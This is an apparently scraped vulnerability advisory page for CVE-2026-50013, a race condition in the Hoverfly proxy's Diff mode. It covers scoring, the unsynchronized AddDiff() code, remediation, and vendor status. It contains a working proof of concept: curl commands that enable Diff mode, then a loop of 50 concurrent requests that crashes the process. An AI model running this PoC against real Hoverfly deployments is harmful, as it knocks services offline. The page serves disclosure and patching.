Skip to main content

Hoverfly CVE-2026-50013

HIGH
Race Condition (CWE-362)
2026-07-14 https://github.com/SpectoLabs/hoverfly GHSA-qrh4-p6v4-mrfg
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI
7.5 HIGH

Reachable over the network proxy port with low complexity and no auth or interaction; impact is a full process crash (A:H) with no confidentiality or integrity effect, though it requires the non-default Diff mode.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 14, 2026 - 19:53 vuln.today
Analysis Generated
Jul 14, 2026 - 19:53 vuln.today
CVE Published
Jul 14, 2026 - 18:03 github-advisory
HIGH 7.5

DescriptionGitHub Advisory

Summary:

When Hoverfly is running in Diff mode, the AddDiff() function writes to the shared responsesDiff map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a fatal error: concurrent map read and map write, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests.

Details:

1. Unsynchronized map access in AddDiff() (core/hoverfly_service.go:417-421):

go
func (hf *Hoverfly) AddDiff(requestView v2.SimpleRequestDefinitionView, diffReport v2.DiffReport) {
    if len(diffReport.DiffEntries) > 0 {
        diffs := hf.responsesDiff[requestView]                    // UNSYNCHRONIZED READ
        hf.responsesDiff[requestView] = append(diffs, diffReport) // UNSYNCHRONIZED WRITE
    }
}

2. This function is called from Diff mode processing, which runs concurrently per request (core/modes/diff_mode.go):

Each incoming proxy request is handled in its own goroutine by Go's net/http server. In Diff mode, each request calls AddDiff() after comparing the simulated and actual responses. With multiple concurrent requests, multiple goroutines write to the same map simultaneously.

3. Go's runtime detects concurrent map access and terminates the process:

Unlike data races on simple values (which produce undefined behavior silently), Go's map implementation includes a built-in concurrent access check. When two goroutines access the same map and at least one is writing, the runtime calls fatal() which is unrecoverable, it cannot be caught by recover().

4. No mutex protection exists on responsesDiff:

The field is declared as a plain map[v2.SimpleRequestDefinitionView][]v2.DiffReport with no associated sync.RWMutex. Compare with hf.state which properly uses sync.RWMutex for its map access.

Environment:

  • Hoverfly version: v1.12.7
  • Operating System: macOS Darwin 25.4.0
  • Go version: 1.26.2
  • Configuration: Hoverfly in Diff mode (PUT /api/v2/hoverfly/mode {"mode":"diff"})

POC:

Step 1: Start Hoverfly and set Diff mode

bash
./hoverfly &
sleep 2
# Set diff mode
curl -X PUT http://localhost:8888/api/v2/hoverfly/mode \
  -H "Content-Type: application/json" \
  -d '{"mode": "diff"}'
# Load a simulation for diff comparison
curl -X PUT http://localhost:8888/api/v2/simulation \
  -H "Content-Type: application/json" \
  -d '{
    "data": {
      "pairs": [{
        "request": {"path": [{"matcher": "glob", "value": "*"}]},
        "response": {"status": 200, "body": "expected"}
      }],
      "globalActions": {"delays": [], "delaysLogNormal": []}
    },
    "meta": {"schemaVersion": "v5.2"}
  }'

Step 2: Send concurrent requests to trigger the race

bash
# Send 50 concurrent requests, race condition triggers within seconds
for i in $(seq 1 50); do
    curl -s -x http://localhost:8500 "http://httpbin.org/get?id=$i" &
done
wait

Step 3: Observe the crash

bash
# Check if process is still running
pgrep -f hoverfly

crash output on Hoverfly v1.12.7:

fatal error: concurrent map read and map write

goroutine 892 [running]:
github.com/SpectoLabs/hoverfly/core.(*Hoverfly).AddDiff(...)
        /core/hoverfly_service.go:419
github.com/SpectoLabs/hoverfly/core/modes.(*DiffMode).Process(...)

The process crashes with ~50 concurrent requests. In production with real traffic, it crashes almost immediately.

Impact:

  • Full denial of service: The process terminates immediately and cannot be recovered without a restart
  • Trivial exploitation: Any attacker with proxy access can trigger this by sending multiple concurrent requests
  • No admin API access required: Only proxy port access is needed to trigger the crash
  • Unrecoverable: fatal error in Go cannot be caught by recover() - the process is unconditionally killed
  • Affects all Diff mode users: Any team using Diff mode for API comparison testing is vulnerable

AnalysisAI

Denial of service in Hoverfly's Diff mode (versions ≤ 1.12.7) lets any client with proxy access crash the entire process by sending concurrent requests. The AddDiff() function writes to the shared responsesDiff map without a mutex, so simultaneous proxy requests - the normal case for a proxy - trigger Go's built-in concurrent-map detector, producing an unrecoverable fatal error: concurrent map read and map write that kills the process. Publicly available exploit code exists (a working POC is embedded in the GitHub advisory), though there is no public exploit identified as actively used in the wild and no KEV listing.

Technical ContextAI

Hoverfly is a Go-based HTTP(S) service-virtualization / API-simulation proxy from SpectoLabs (Go module github.com/SpectoLabs/hoverfly, package pkg:go/github.com_spectolabs_hoverfly). The root cause is CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization, i.e. a race condition). Each proxied request is served in its own goroutine by Go's net/http server; in Diff mode each goroutine calls AddDiff() (core/hoverfly_service.go:417-421), which reads and appends to the shared responsesDiff map[v2.SimpleRequestDefinitionView][]v2.DiffReport with no synchronization. Go's map runtime deliberately performs concurrent-access checks and calls fatal() - distinct from ordinary silent data races on scalar values - and fatal() cannot be intercepted by recover(). Notably the adjacent hf.state map is already guarded by a sync.RWMutex, so responsesDiff was simply missing the equivalent protection.

RemediationAI

Vendor-released patch: upgrade to Hoverfly v1.12.8 (release https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8), which adds a dedicated responsesDiffMu sync.RWMutex guarding all reads, writes, and range iterations over responsesDiff (fix PR https://github.com/SpectoLabs/hoverfly/pull/1227). If you cannot upgrade immediately, the most effective compensating control is to avoid Diff mode: run Hoverfly in capture, simulate, spy, or modify mode instead, since only Diff mode reaches the vulnerable AddDiff() path - the trade-off is you lose live request/response diffing. Additionally restrict network exposure of the proxy port so only trusted, low-concurrency clients can reach it (trade-off: does not fix the bug and even trusted concurrent traffic can still trigger the crash), and consider running Hoverfly under a supervisor (systemd, Kubernetes restart policy) so it auto-restarts after the fatal crash (trade-off: mitigates duration of outage, not the DoS itself). Full details in the advisory: https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-qrh4-p6v4-mrfg.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

CVE-2026-50013 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy